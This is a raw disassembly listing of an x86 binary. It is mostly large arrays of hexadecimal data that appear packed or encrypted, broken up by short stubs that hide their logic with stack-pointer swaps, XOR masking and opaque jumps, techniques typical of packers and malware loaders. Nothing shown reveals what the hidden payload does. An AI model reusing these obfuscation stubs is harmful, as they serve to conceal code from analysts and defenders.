0F3974DB6h dd 71E854CDh, 0BF811850h, 202CCA43h, 0A32710E0h, 0C3251B82h dd 63FC9801h, 0C92F9AB8h, 930E3011h, 0B3C8B029h, 0B6D29567h dd 0D34E71C4h, 2382F074h, 0A9D29A0Bh, 8F3C987Dh, 97F901F4h dd 4B000000h, 8BC2B15h, 5C087E40h, 9087FBC5h, 30944C0Fh dd 0DE437DC9h, 0E77E5F7Eh, 0EE4BD7ACh, 165CC78h, 841DC73Fh dd 75D3EDA5h, 68F173D0h, 5776EE56h, 0EF8BEF76h, 3094C970h dd 6B2302C9h, 0E970EC55h, 0AFB8CAAEh, 0BDDD812Eh, 0B19054B1h dd 0B39882F9h, 1F40663h, 5490h, 0D94F2200h, 55CCF26Bh dd 947E3DA2h, 714FC930h, 1534AD17h, 15711534h, 3093CF8Ah dd 91D9F8C9h, 38066208h, 0D58D40C9h, 0C2597B3h, 0DD95B42Dh dd 299F7CA6h, 2FF4B9E8h, 2236876h, 0D74F19ABh, 0AD6BF46Dh dd 0CC93094h, 0DE46AB77h, 1701F4B3h, 1, 69D34FA5h, 0EF55CEF0h dd 546A0E76h, 0F7D64FEDh, 0FD5AC4BFh, 1A7ED785h, 9D04C024h dd 1EB2F4BCh, 0FE6CF397h, 4FCF74B0h, 5CC9F76Eh, 67F41E8h dd 9F58C75Eh, 30C2EC78h, 1172DF4Bh, 5FC4FA53h, 0E1427CE5h dd 9FE4FA63h, 88EFC93h, 0A91B88DBh, 5B75F6DBh, 0CB82D13h dd 68ED5668h, 0FF6647FDh, 5B3F96DEh, 9FF9A03Fh, 0F3D2C2EBh dd 0A0510897h, 5B7AC2EBh, 0BFC12513h, 2246FBAFh, 0AC22D946h dd 8AABC2EBh, 0EBAC6615h, 0E4667C2h, 1475Eh, 605E3A00h dd 0F8D94004h, 0EBACB467h, 7C3415C2h, 129B37CEh, 0EB330476h dd 0D8296FDDh, 0AE90F490h, 5CC38B31h, 0CF74120Eh, 0D9E77E5Fh dd 0E269AB6Ch dd 0BDA8D45Dh, 79D7BDCFh, 0D3F2A351h, 6BC1C5B7h, 0F88C3769h dd 7EE75DC6h, 80BE175Fh, 0FBC5A123h, 22BDD98Bh, 0C2EBC377h dd 0A0397150h, 26BF259Eh, 7AD74338h, 4D3F5B09h, 4F2C7BF6h dd 7BD29AE3h, 91DC6D1Fh, 0E8072956h, 652E96A0h, 3EC7FBB0h dd 75000000h, 72169F37h, 30947EEDh, 77EECFC9h, 9BB2D13h dd 941BDE41h, 2F54C930h, 4FC66E03h, 14714F2Bh, 24871850h dd 0A5C93094h, 66DEE084h, 7B1FB6FEh, 417FDD45h, 0BC2860E4h dd 88h, 0D9B370Eh, 9EBF2696h, 0FA44DBBFh, 5BCF74A0h, 68DDE37Ah dd 0FA6B55FCh, 884CD34Ah, 0D9C2EC89h, 0FFC178A2h, 6647DE86h dd 31B3102Eh, 0FB32DE98h, 0BAECED9Fh, 4E9BAFE6h, 38066206h dd 0EA8E17CDh, 0EBC2C675h, 72607C2h, 1DB2D04Fh, 739C937h dd 9EBF269Eh, 1881A0D6h, 6307BD26h, 0AE19807h, 3FA2C921h dd 82CAEB9Dh, 3907631Bh, 0B48A13C9h, 0FCB4954Fh, 2AC69B87h dd 0EA1887E3h, 0E3CF6C66h, 310F6BC2h, 0EA5810D4h, 76129B37h dd 7BEFBBE9h, 0C13E00CFh, 1B25531Bh, 6B62AA7h, 0BE9FBE9Fh dd 38AC1927h, 8E36AF91h, 89FD8817h, 88F318F8h, 9054B19Eh dd 269E0739h, 0BC2081BFh, 0FC265D25h, 973EA61Fh, 0F956CDF3h dd 6D4CD58Fh, 0C93A044Ch, 816821Bh, 72000000h, 256DD74Ch dd 4FFB4997h, 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh dd 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h dd 69F768h, 24348900h, 5F7D68h, 24348900h, 5E08950h, 4 dd 42Dh, 24048700h, 2404895Ch, 657E7ABEh, 81DEF716h, 767195C6h dd 3C68166h, 81745E1Ah, 0D81EC8EEh, 1CBB5345h, 0F7581050h dd 0AE381DBh, 8118CF14h, 105D77F3h, 5BDE3172h, 5B8BEE81h dd 8B5405FEh, 0C4832404h, 11546804h, 1C890000h, 89F38924h dd 8B5B0858h, 89502404h, 405E0h, 0C0830000h, 24048704h dd 2434FF5Ch, 4C4835Eh, 0F91E95E9h, 4D0908FFh, 49C0930Fh dd 56BE2F6Eh, 0B8EBCF6Fh, 64B5FF6h, 0E0FFC503h, 46B1348h dd 6F89584h, 17C83A7Fh, 317B81D7h, 479CE8B6h, 3359A239h dd 1C2D4A0Eh, 713704EBh, 69E900A3h, 8E000005h, 3F01A814h dd 8AB41DC7h, 310FA616h, 0FBC56CD0h, 5C7ED78Dh, 46FE68D4h dd 0CE76D1EFh, 72EA5967h, 0C480E5DBh, 0D24D296Dh, 0C2E53427h dd 4F44F6A0h, 5B42BD6h, 0C6C93094h, 615FC6E7h, 90F45D07h dd 94B06BF4h, 940BC930h, 0C93093E5h, 90B1C7E6h, 0C77DE6D8h dd 5E03605Eh, 0C55C7DE7h, 40D98BFBh, 0F6516F0Bh, 84F6D74Eh dd 1F2770F9h, 6F145C7Fh, 68ED56C3h, 0F1D049FBh, 75EC58CFh dd 0B8DC7554h, 1E16E6CAh, 5D0BEBE9h, 0B8B0C2E0h, 4AF16E17h dd 83C93082h, 0F5CB83A2h, 6AD2318Eh, 65DCE24Bh, 681B80A4h dd 390C9C1Ch, 0F90EF7EFh, 128BAA8Bh, 920BB92Ch, 0A88591EAh dd 0D9E78339h, 1C87A66Fh, 0D77E3E75h, 64E6FF6h, 0B03491AFh dd 7D00B629h, 0AAD1C930h, 9C2B9B80h, 89C801F4h, 7A000000h dd 92DB6715h, 0C543604Bh, 0D752B38Dh, 2FBA9148h, 3A1B3AC9h dd 0BA7B3CA3h, 0A500C92Fh, 2E98A63Fh, 1F642FB6h, 245F3913h dd 0D9B115FAh, 14201F3h, 0F0000000h, 0F46DD74Fh, 73EA5ACAh dd 0C77D44Dh, 0D6E87150h, 5668F16Bh, 49FB6DEAh, 0CC83F168h dd 0B7D72A4h, 0FA245F14h, 0E8324902h, 4AF26F51h, 84BAF2D3h dd 0FEC0A420h, 6746DF85h, 8DDD9C03h, 0CFEEC930h, 0B3102E87h dd 0C2FC9831h, 49BFF5Dh, 0C9308E55h, 0AD1F5776h, 2BEE7115h dd 9CC93094h, 5DCBF5BDh, 0E4407EE7h, 5FC7F960h, 0F8D98BFAh dd 7AE25F61h, 84FCC2E3h, 87F41D8h, 0C26C175Ch, 32F544Ah dd 4B7284Ch, 8DC93094h, 1332AB19h, 320C4465h, 87B910D4h dd 13FA61Eh, 0E5A23BA1h, 8FFD949Eh, 9F62F4A4h, 0A89ED6F6h dd 1F4824Ch, 0A3E9h, 0D94F5B00h, 8EAF0D74h, 0F470D4EAh dd 0CF6A1D86h, 0AFE77A7Ah, 24980836h, 0AC92F6BDh, 35148D37h dd 0B10BCE51h, 9DBCC92Fh, 0CD84AED5h, 0B18336A9h, 0C956C92Fh dd 0C92FB112h, 0CDEC9ABBh, 98D094F3h, 2D8440A6h, 520A7749h dd 2C2241Ah, 65C1FF9Bh, 0E85866FFh, 231D5574h, 0C0871EBEh dd 0E6D86FBBh, 7C5DC480h, 0CEB20234h, 4C4301F3h, 0F1000000h dd 0C74D94Fh, 0C9E8C950h, 0A356C9ADh, 24C93094h, 0B0D44D05h dd 0E5AD178Eh, 6DF468DBh, 45B27C07h, 0DF4024E3h, 0C930941Ch dd 68138CADh, 61C93094h, 7AC86140h, 0F46DD74Fh, 3094AD6Bh dd 0AB770CC9h, 0F4B3DE46h, 11701h, 4FA50000h, 0CEF069D3h dd 0E76EF55h, 6416A975h, 0E9C6FC5Ah, 76EE5791h, 0C1211F57h dd 5CF4B21Bh, 0C02AB5D1h, 9CF73D4h, 95A4417Bh, 9DBC74E3h dd 1BC93A04h, 0AD178CB2h, 8732ADC9h, 40C2EC24h, 0D4B02961h dd 0FD410FA6h, 501838EFh, 0EBAB0ACFh, 0D193F3C2h, 4A0F7648h dd 0D04968DCh, 0C069B5CEh, 9FA75B81h, 97FDDC1Fh, 70D542ECh dd 2635DF4h, 0AF542642h, 48273995h, 4779E0A8h, 0E1FF66DEh dd 0FD23F785h, 0E1BE6CF3h, 62FB69DFh, 0A6700B43h, 0C168DC49h dd 0B0448FF7h, 12CA4FBh, 37160000h, 0E976129Bh, 0CF74C1A3h dd 0B25BC6F8h, 4C539189h, 0E8A081D0h, 1826BF9Eh, 0AE9039ABh dd 72168F35h, 7B245500h, 0D1995674h, 57CE76EFh, 0BE83249h dd 0B5832A9Ah, 0FBB06451h, 5FE2h, 4EB88600h, 23C0F7C5h dd 5170DCBBh, 9F37AB19h, 3229A09h, 0C53D0367h, 0DDAF8E17h dd 20DBF83Fh, 32ADE57Ah, 0C92FB9D7h, 30EB7410h, 99C92FB9h dd 9F0099B8h, 0C92FB8DCh, 0DC46E15h, 6E12907Fh, 5B136FC4h dd 583C791Dh, 941FB66h, 0CE37096Dh, 6AC15E16h, 0E3C92FE6h dd 8FFF6BC2h, 4D000000h, 4B82B15h, 0B2F4BC9Dh, 6CF3971Eh dd 0CF74A112h, 0F5CB5273h, 8EB0D490h, 2D94AA12h, 7F37168Fh dd 8C7BE8D6h, 0EC886813h, 8BC29C2h, 0E7C6B091h, 24D89E95h dd 0B899515Eh, 0D0F6BE21h, 502BC2EBh, 960D33C6h, 0D69EBF26h dd 0ADC97BE8h, 31912E93h, 1233128Bh, 4BE2AA8Bh, 4C28650Dh dd 3730DCD3h, 0A53C1DC9h, 23BA2A9Bh, 0C45B3F5Bh, 0C920F015h dd 42DB81FEh, 7C341563h, 0AA461B07h, 0C8390763h, 0E4AC8D14h dd 51101F80h, 0F0D1CF6Ch, 9B37EB59h, 0EABF4841h, 0BBF6545h dd 0D6CAB8D1h, 63E1426Eh, 98076342h, 0CF7B7595h, 2D137756h dd 0CD3907B5h, 0E7AF8E17h, 61E3407Eh, 1ACA3B05h, 753AE17Eh dd 0B293C2E5h, 0F86D53FAh, 8FB1D54Ch, 2F90AE16h, 7D35148Dh dd 0CD8CE7E2h, 0BC661DC9h, 0D77EE65Fh, 7D0AC1B3h, 26CF8328h dd 71F3506Eh, 0F369D6E8h, 0AD6CF397h, 1EC88CFAh, 96EE773Fh dd 6FD441EDh, 1625CF5h, 34EDA43h, 0FC000000h, 0D54FFB49h dd 63C0FE67h, 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h dd 0DB447AE3h, 5AC6F861h, 0E1457BE2h, 81EDFA63h, 4ECh dd 241C8900h, 0C381E389h, 4, 8704EB83h, 685C241Ch, 0B5Fh dd 68240489h, 4BAAh, 53240C89h, 3376B6BBh, 0D777B855h dd 8B2D5B7Eh, 2954194Ch, 4C8B05D8h, 685B5419h, 618Bh, 81242489h dd 42404h, 68590000h, 3627h, 89241489h, 85189C2h, 2434FF5Ah dd 4C48159h, 0FF000000h, 81582434h, 4C4h, 18F4E900h, 5B66FFF9h dd 7B2651B7h, 4B65ADB8h, 0FFC50306h, 0B7C9FDE0h, 4C637328h dd 0C9AF1D35h, 0C7BECE00h, 0B5BD5E0Eh, 0AF0F9C74h, 1CC14C56h dd 0CC18850Bh, 4431995Bh, 0D1FC986Bh, 0BB2F2E77h, 57737046h dd 9DF47D0Eh, 41D24269h, 909B244Eh, 9270232h, 0F8E11E3Fh dd 0A62B157h, 0FC48E415h, 1DD8BD12h, 8D8D8D7Ah, 6A064B67h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 6040C355h, 29922D99h, 4423898Dh, 0A9BD8906h dd 89064432h, 442F5D8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 6E3EE4DCh, 0B529F016h dd 64432BDh, 69F78166h, 7985C73Fh, 0B8064406h, 6A000063h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0FAAC352h, 0AA2D61B6h, 8E8ECh, 6A420000h dd 8EADAB33h, 665F8ED6h, 0A66ECA81h, 107185C7h, 644h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 1B990C3h, 9D8B3431h, 6442D79h, 0D55B5FFh, 6A0644h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 19DAADC3h, 0FC28915h, 95FFD7B7h, 6440BF9h, 95FF006Ah dd 6441C4Dh, 1EEBC08Bh, 0D8E90424h, 533774B6h, 0B87AAF53h dd 58208AA5h, 37918F84h, 97424EE6h, 760CD07Ah, 4EB91A9h dd 3FE2EBFAh, 64FE9h, 2E8EF400h, 974DB987h, 3CA0003Eh dd 8636AB95h, 0DB7112Fh, 0BE9E86A4h, 0B359C48h, 0BF81289Ch dd 0F319844h, 0C3872E96h, 2D8138A7h, 1C4AC2E5h, 6ED64FAEh dd 34AD93F7h, 88FEC088h, 0DA4B75DCh, 9D7E4D39h, 1839DCD0h dd 9E46BF81h, 17CD3907h, 74BEC58Eh, 0DE7EE3DDh, 0FDBC2347h dd 0CEC93046h, 0B886CEEFh, 0E30994Bh, 734D2993h, 0ACC85113h dd 30478833h, 416041C9h, 0FAC4A009h, 0A09ED686h, 40C4C841h dd 90641474h, 35148D2Fh, 92AC3514h, 5028B133h, 0AF12FF2Bh dd 920D690Dh, 0C92FE6E7h, 2089C1E0h, 5B3FA51Eh, 0E6F9A03Fh dd 0F3D2C92Fh, 0A86F8A81h, 155DE11Ah, 0CF65138Ch, 0F74C92Fh dd 0EEC63E23h, 756F01F3h, 0DD000000h, 1BB82B15h, 8FAE37ADh dd 5E1637AEh, 0D8410360h, 30949247h, 0CE5823C9h, 0F4B3FD69h dd 13601h, 15840000h, 930ABA2Bh, 60C4FAB2h, 0E3437DE4h dd 0E140057Eh, 0E27B5A7Bh, 60F963DCh, 0E47DE75Eh, 9C739096h dd 655BDCF0h, 0E5DB4202h, 0F388C381h, 0E59ED527h, 0FC68DC39h dd 0A04FEA98h, 0C16668C5h, 7A442089h, 0FFC1580Ch, 0C6F8D983h dd 94AAE25Ah, 0AE1CB52Fh, 0B12ED94Fh, 0C930940Ah, 0A7C3E2C3h dd 5480CED5h, 7F37D65Ch, 0F86CD8E6h, 1A047F61h, 0B019CB3Dh dd 2AFC158Eh, 877806B5h, 5AC379E8h, 0F5285A7Bh, 0F00BEB9Eh dd 0D6E87150h, 2C6BF26Ah, 0E66CB57h, 2701F44Ch, 0B2h, 6BD94F95h dd 0E854CCF2h, 68D44F71h, 0E953CFF1h, 9156E70h, 221C7833h dd 0EA104CBDh, 43F3E0C8h, 0E4DAFB62h, 7B5AC381h, 71DE4833h dd 3A04AD17h, 0E58118CCh, 63FA6ADBh, 0CB340A42h, 4DB68811h dd 0D0300E97h, 4DEF526Ch, 59C5BED4h, 53DFA4E3h, 9447D8BCh dd 35C9301Ah, 0A6A5C14h, 2B01F438h, 7Bh, 0AE16714Fh, 711554E6h dd 0F56AD24Fh, 0C9309446h, 70E953CFh, 4E062751h, 37AE1670h dd 46229A09h, 0B4266C34h, 0F8F67D2Ah, 0CF651714h, 0B92068DAh dd 3BA21A87h, 0C0209D05h, 0EFA43D1Ch, 0D8B28A94h, 2C9A77A3h dd 4B7511B8h, 0DFFE67DDh, 0D74F2597h, 7D7B096Dh, 150C51B4h dd 138C155Dh, 0C92FC365h, 3E230F74h, 1F3E2C6h, 0E6Fh, 0D0350B00h dd 2CEF7014h, 9DC92FCFh, 4F46F4BCh, 8B32CD3h, 0C1C93094h dd 6658C1E0h, 0A6DE47FDh, 7CE451DDh, 279AA4C0h, 1254FDB5h dd 0CC53377Eh, 0CF74B05Eh, 0D8AACEEFh, 0F966C3D2h, 69F0B840h dd 0DF76EE57h, 0BF1D85BBh, 714F0726h, 0ADC95014h, 0A8A356C9h dd 1A24C2EBh, 8DAC35A7h, 0BE7BE4ACh, 13C2EBA8h, 63D94977h dd 0E893DBFAh, 0F074D13Eh, 0A3033D59h, 0EE576921h, 74D1EF76h dd 137769F0h, 66DE4977h, 0EBA842F9h, 0E2AA8BC2h, 0C4FA8D99h dd 89B7FF5Dh, 3701A81Ch, 0FBAFC7CFh, 1FE64h, 9B37D600h dd 0A3E97612h, 0EACF74C1h, 3091AFCBh, 635DC48Ch, 0D5EB4202h dd 536DF470h, 0F5EB72F2h, 4EB7A48Eh, 9D093F96h, 56FBB086h dd 9Ah, 0B8DC4032h, 7E64D3FCh, 9F378436h, 72167216h, 0DC263C00h dd 36A9FCDEh, 0C92FB883h, 0B22D6544h, 0C92FB857h, 9B49BC82h dd 1D6B2302h, 0D7821D79h, 0F0C92FB7h, 0B88B4ED1h, 0D74C92Fh dd 611736AFh, 3B056140h, 0CCF50C7h, 0BDC92FB8h, 4024BD9Ch dd 2FB81CDFh, 0AD8CADC9h, 38E37CE5h, 69C92FB8h, 0C3530812h dd 0BC281672h, 25B8115Bh, 0EDCCF333h, 166C0674h, 3BBB5898h dd 3AE17E1Ah, 93C92FA2h, 19EFAB2h, 0C92FA2AAh, 0AE094331h dd 5E62152Dh, 0E8416016h, 1367Ch, 9B37CE00h, 97E97612h dd 0E4CF74A0h, 0B3FB69DAh, 0BE80E4C5h, 9346D948h, 34C2EC88h dd 8CAD3415h, 4B395DC4h, 0F8413C8Dh, 72EA5685h, 8E392153h dd 7F259E99h, 7B9C0937h, 56C5D471h, 0B2112F2Fh, 0E6822B0Ah dd 0BBF369D8h, 3DA42085h, 0EC5AF2A2h, 375337C2h, 0EC59F1A8h dd 0B3FBDAC2h, 94F15EC8h, 168AB4D0h, 0B59448B9h, 0EC450D2Ch dd 47E2FA88h, 7F2B933Ah, 0EC5E39E0h, 92B392C2h, 0B9F49CDAh dd 1F87B9DDh, 0AA485AF6h, 3716E4CFh, 1CFD8FAEh, 0BD9F6C6h dd 9AAF3078h, 79C937B1h, 66D7821Dh, 4CB8C921h, 56200198h dd 77493F77h, 0E8C9500Ch, 0A3450C9h, 6592B99h, 18D914E0h dd 0E1427C34h, 5BC4FA63h, 831C78E1h, 0C92156D8h, 78EED0F1h dd 57631689h, 4564C921h, 0E78FFD64h, 0AC09271Ch, 79A5DEA6h dd 0FB9FFB83h, 2167B564h, 7FE55EC9h, 1B602809h, 7FB65A0Fh dd 39E07F1Bh, 0DAC92167h, 4E6FF666h, 0BB271938h, 0F1B99801h dd 0CEFD0A95h, 0E2DCCF6Ch, 0F864DC81h, 37E40D9h, 0C0E1C059h dd 0BBDFFE88h, 7524BBDFh, 56C2EC4Ah, 4A31E877h, 0BB9AC2ECh dd 37E85AF3h, 0E976129Bh, 0CF7BFBE0h, 0D9CA4D3Fh, 90C51D00h dd 55CAAED8h, 0C2E4F0A6h, 1DDC4327h, 0AEC2E4F0h, 168FAE8Fh dd 0A009BB28h, 26BF259Eh, 8E75C7B9h, 6AD24EFCh, 510897F3h dd 7A894E73h, 40FD655Bh, 0C55C7DDFh, 0E05CC6BDh, 92F1CFABh dd 0D19622Ah, 0A801C320h, 2EB72D96h, 690DAF10h, 72E7920Dh dd 0DEE0894Eh, 4667FE66h, 0CEB62F67h, 178C69B5h, 0C93A04ADh dd 1B16821Bh, 72000000h, 0F56CD84Ch, 152E9CD4h, 0D56B72Bh dd 10201F9Bh, 7455CCEDh, 2E66D64Ah, 0D54FA416h, 63C0FE67h dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h dd 5AC6F861h, 0E1457BE2h, 50EDFA63h, 405E089h, 52000000h dd 4BAh, 5AD02900h, 5C240487h, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 895C241Ch db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebx push esi mov esi, 6EB807F8h shr esi, 7 shr esi, 8 sub esi, 0F9B575B5h mov ebx, esi pop esi mov ecx, ebx pop ebx push esp mov ebx, [esp] add esp, 4 push ecx xor dword ptr [esp], 12317BABh pop dword ptr [ebx+8] push edx mov edx, 8 add edx, ebx xor dword ptr [edx], 12317BABh pop edx push dword ptr [esp] pop ebx add esp, 4 mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5445C2 ; --------------------------------------------------------------------------- db 84h dd 4B6D6DB8h, 0FFC50306h, 41C363E0h, 88E96B31h, 0D30E9457h dd 87EB9E44h, 8E722146h, 62609C0Ah, 23149922h, 2DC5A11Ah dd 0B48D8D13h, 6A064B6Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0AE35C357h, 1188B17Ah dd 89BC0568h, 442F5D8Dh, 4D858B06h, 0C7064409h, 44067985h dd 60F806h, 81B58900h, 0C706440Ah, 44107185h, 6, 0BD896000h dd 6441559h, 2511B529h, 0FF610644h, 44318DB5h, 0F5852B06h dd 0FF064413h, 440BF995h, 0F2B70F06h, 1880Fh, 6AF50000h dd 4D95FF00h, 8B06441Ch, 2F6BEBC0h, 0A7D505F3h, 0DC642C61h dd 1A00A8D5h, 0C63317E8h, 0E8B32B27h, 0FDEB536h, 739F6C9Ah dd 0DFC88E27h, 0B78CF5D4h, 0F0958F48h, 3502C52Ch, 5B5FB330h dd 3AB7BE9Eh, 2CD7B519h, 7BDA482h, 0C88C9817h, 0BF65169Dh dd 947C5A27h, 3899E579h, 0BF7EEF08h, 0D3A1BD06h, 0BAF552AAh dd 7379DA8Dh, 0C20427D9h, 0EDAD7873h, 9F98A0E8h, 4EB6D4Fh dd 344AC50Fh, 536E9h, 5A026000h, 0EB59CDF3h, 58047C42h dd 0EA52CFF1h, 590B7D43h, 0D24AD2F0h, 6759F074h, 0D3ED4400h dd 5B65CC70h, 97D37AEAh, 25AD6CF3h, 481EC2E5h, 32B2122Ch dd 93A26D40h, 3078CDA3h, 6ED64F82h, 4AF16E0Ah, 83C93094h dd 4D73EAA2h, 570D76DBh, 75D1EFCEh, 0F88AEECFh, 0F46E839Ah dd 4D1A393h, 440106C2h, 0BF812860h, 39079E46h, 7BE74BCCh dd 0E064131Fh, 5EC1A5C1h, 0C9304B9Bh, 0DC450D2Ch, 5BC282E2h dd 52BF6B10h, 0E4DA73F1h, 0E163C07Dh, 0D1785978h, 51C874EFh dd 0C11FF86Fh, 5F265D2Ah, 2F57CEEFh, 937CA54h, 3BFE6198h dd 8CC93046h, 0FAC48CADh, 427CD587h, 65FA63E1h, 0C93046B3h dd 48AD7902h, 1F465DCh, 5D19h, 0E60F7D00h, 7ABC2024h, 4FB5074Fh dd 340A6ED6h, 0C55C14D0h, 30949D5Ah, 0D9453EC9h, 0F4B41074h dd 12501h, 15970000h, 4D05B72Bh, 0C8511373h, 4FD68EF6h dd 35AC1071h, 3C19057Eh, 23A003C8h, 0A43D1CC0h, 0BB7EE185h dd 0CC93094h, 9BA50C2Dh, 0E0DEBA2Ah, 81FEC084h, 2B6342DBh dd 2B153082h, 714F07BDh, 0F7C9AD17h, 6E4FD68Eh, 2581BF26h dd 433826BFh, 580C7AD7h, 0EE56CFF1h, 63D94977h, 8A997507h dd 5B372A61h, 50B48A13h, 0D4330D94h, 7C078910h, 791D5AB2h dd 0F960DC47h, 3FEB90D8h, 0F3D27ADAh, 80BB01h, 4F090000h dd 310F6BD9h, 0BA236BD1h, 39A01C84h, 301D0972h, 780A6ED6h dd 0DFDED80Ah, 3490AEE4h, 6F51F8B0h, 0ECD24BF9h, 1750C973h dd 0F95DC26Ch, 3A01F4A9h, 8Ah, 74D94F88h, 1074550Fh, 9430EB74h dd 0B899C930h, 0EC5769F0h, 0EF701470h, 0C930942Ch, 6DF4BC9Dh dd 0E970F453h, 6FF66ED7h, 79D35F24h, 0B2057713h, 33B11498h dd 0EF98BAAh, 0BCC78F4Eh, 0E4238572h, 2FC5C07Bh, 92809C9h dd 0D74F12A0h, 0E290F46Dh, 0B4D8E3F4h, 0ECD523Ch, 0BFC92FFBh dd 68F7BF9Eh, 0C92FFBAEh, 17AA740Fh, 9E07BD29h, 65C1F7BFh dd 0BA01F41Ah, 0D953ACDEh, 5E1DD5CDh, 2FDC1AC1h, 0DA92B3C9h dd 18Ah, 0D34F3800h, 0D4330D69h, 96A88910h, 0D2CB52Fh dd 81E2DC45h, 88D5A7C3h, 8E2E92AEh, 4C34ADE5h, 6A54EB37h dd 0DC9F00F7h, 0EDC92FF4h, 5574EDCCh, 58BF231Dh, 2FF514C7h dd 0B594B5C9h, 7FB65A1Ch, 1126841Bh, 86A7CF74h, 0C4211Fh dd 0DC9F0064h, 0EDC2EC10h, 492D84CCh, 32B2132Dh, 0EC10EEADh dd 0B6FEDFC2h, 30A91B88h, 0EC10EAAFh, 72BCC7C2h, 0DA42085h dd 8B12D233h, 0D9450B5h, 0F46DCF33h, 72EB59CAh, 64D84239h dd 3815017Ah, 86B019CBh, 0FBB0301Eh, 121D7h, 9B376500h dd 0A3E97612h, 0EACF74C1h, 0F76C52CBh, 0E480E44Dh, 0EC67C07Bh dd 602809C2h, 0E67FE55Eh, 23BC6BD8h, 0C2EC6778h, 0C8517051h dd 4BD28AF6h, 36AF0D75h, 1FB275Ch, 5DBA641Fh, 0E3D57CE8h dd 0FBB08683h, 58B0h, 9F370200h, 89167216h, 0C93093D2h dd 0F692DAFBh, 8C38AC92h, 0A9351B2h, 8DFC632Bh, 0DEC93094h dd 42F966FFh, 73C93094h, 0E4F66517h, 44C1F9DCh, 36AB770Ch dd 1773179Eh, 9D04B829h, 787823BCh, 7051C930h, 0F66FD54Eh dd 64FB9FD7h, 0C9307905h, 5ACE6746h, 82h, 0B72B15E8h, 670B4D05h dd 102E4A2Eh, 0B4950CB0h, 0A11D63FCh, 5D7CCF74h, 9E89FAC4h dd 3E5FC2ECh, 0F16E75DFh, 0C2EC784Ah, 0E783A283h, 785D1C83h dd 4F6EC2ECh, 3390AE07h, 0FFB728B1h, 76C2EC78h, 0F4CA5309h dd 4BD292h, 375DAF7Bh, 1075E24Ch, 930E3054h, 0D991B029h dd 139A3670h, 0E753E877h, 99B8C937h, 3D166400h, 5C6DCFA8h dd 178CB2FAh, 374C34ADh, 53DA76EBh, 3A13A837h, 0D9F8CF6Ch dd 9B37C270h, 54E97612h, 0B9CF7C03h, 0C63F0198h, 0EDD3B71Eh dd 7E5FC676h, 7A9B0836h, 0D372BF9Ah, 0F26B4ADBh, 0E6807B6Dh dd 0BD1F82F4h, 39AB1A24h, 0F900D2A0h, 0FAAB404h, 19F33F44h dd 10FD2952h, 0A69831B3h, 0DDA5D43Dh, 0C158047Fh, 3A2592E0h dd 7A44DDFCh, 79DE4805h, 0EFCE570Dh, 0F86957CEh, 0DDFCDD44h dd 791D65FCh, 0FB62DA47h, 2767A8DAh, 0D63B7559h, 0DC39E59Eh dd 3054FD67h, 672F950Eh, 0E178EC59h, 375h, 0FB49C700h dd 0FE67D54Fh, 78E163C0h, 0F861DB46h, 7CE55FC6h, 0F960E442h dd 7AE361C7h, 0F861DB44h, 7BE25AC6h, 0FA63E145h, 510968EDh dd 24890000h, 4BE5624h, 1000000h, 5E042474h, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0FE682434h, 8900004Ch dd 68552414h, 350146F4h, 2E5C15Dh, 814DD5F7h, 508B01C5h dd 0EF8957DAh, 5D5FFE89h, 24148B54h, 5504C483h, 8155F589h dd 3A162434h, 428F60F0h, 8728108h, 60F03A16h, 24148B5Dh dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5124348Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 0B7E95C24h, 0FDFFF90Ah, 0B89874E1h dd 64B73CBh, 0E0FFC503h, 64A8A054h, 2307C87Dh, 38C6CE5Eh dd 276A231h, 7C31D7FBh, 7E37307Ah, 18791B7Ch, 1B1D99B4h dd 167F78ADh, 4CDE91B1h, 2A5C75D9h, 4C7FE1C5h, 2F9C85EDh dd 5CA430D0h, 6B3E70D9h, 605DF2D6h, 0BD64CB7h, 2BC99C62h dd 32698699h, 1927DBBFh, 54185D4Bh, 24DB1E24h, 77C3D0F5h dd 4CE2A45Ch, 44E1C70Ah, 69B13522h, 18041847h, 56E5359Bh dd 5F8004EBh, 65E94790h, 0A6000005h, 1729803Ch, 0A29C35AFh dd 9379E3Eh, 0B38D2498h, 6446EF55h, 7EE640BCh, 0C67EE9D7h dd 4AF2516Fh, 0FC68DDE3h, 0EA751155h, 0C2E5202Fh, 4F7CCE98h dd 0C9F76ED6h, 7C3FA05Fh, 49C93094h, 0C298CD6Ah, 52730566h dd 7FE4DA73h, 1625CC5h, 80E4DA43h, 6D165DC4h, 0D1300EC1h dd 73521274h, 0BD83CBEAh, 0B283CF48h, 582A920Fh, 0E6C78984h dd 0F912714Fh, 0FF9BE047h, 0CC654496h, 0B12B96A8h, 0E2AA128Fh dd 6EF765DCh, 2B4FF550h, 7B33B115h, 35E19AE2h, 5AF369D8h dd 0DC45FF64h, 9843DCB8h, 31C93009h, 11C75810h, 0A0C93009h dd 7C3FA0C4h, 4DC93009h, 0D35F246Ch, 0F428F66Eh, 833F01h dd 4F8D0000h, 5B42BD6h, 0C6C93094h, 0C05FC6E7h, 0C9309417h dd 85FEC0A4h, 2F6746DFh, 937CA54h, 0AA19279Dh, 0D84C7A32h dd 2901F4B3h, 0AB32AA17h, 192C28Ah, 20000000h, 43ED74Fh dd 0E561E00Ch, 122CB594h, 95AB32B2h, 1729B02Ch, 91AF36AEh dd 0A729B034h, 7EE552DCh, 476647DEh, 4EAB770Ch, 780A6ED6h dd 2FC2F46Eh, 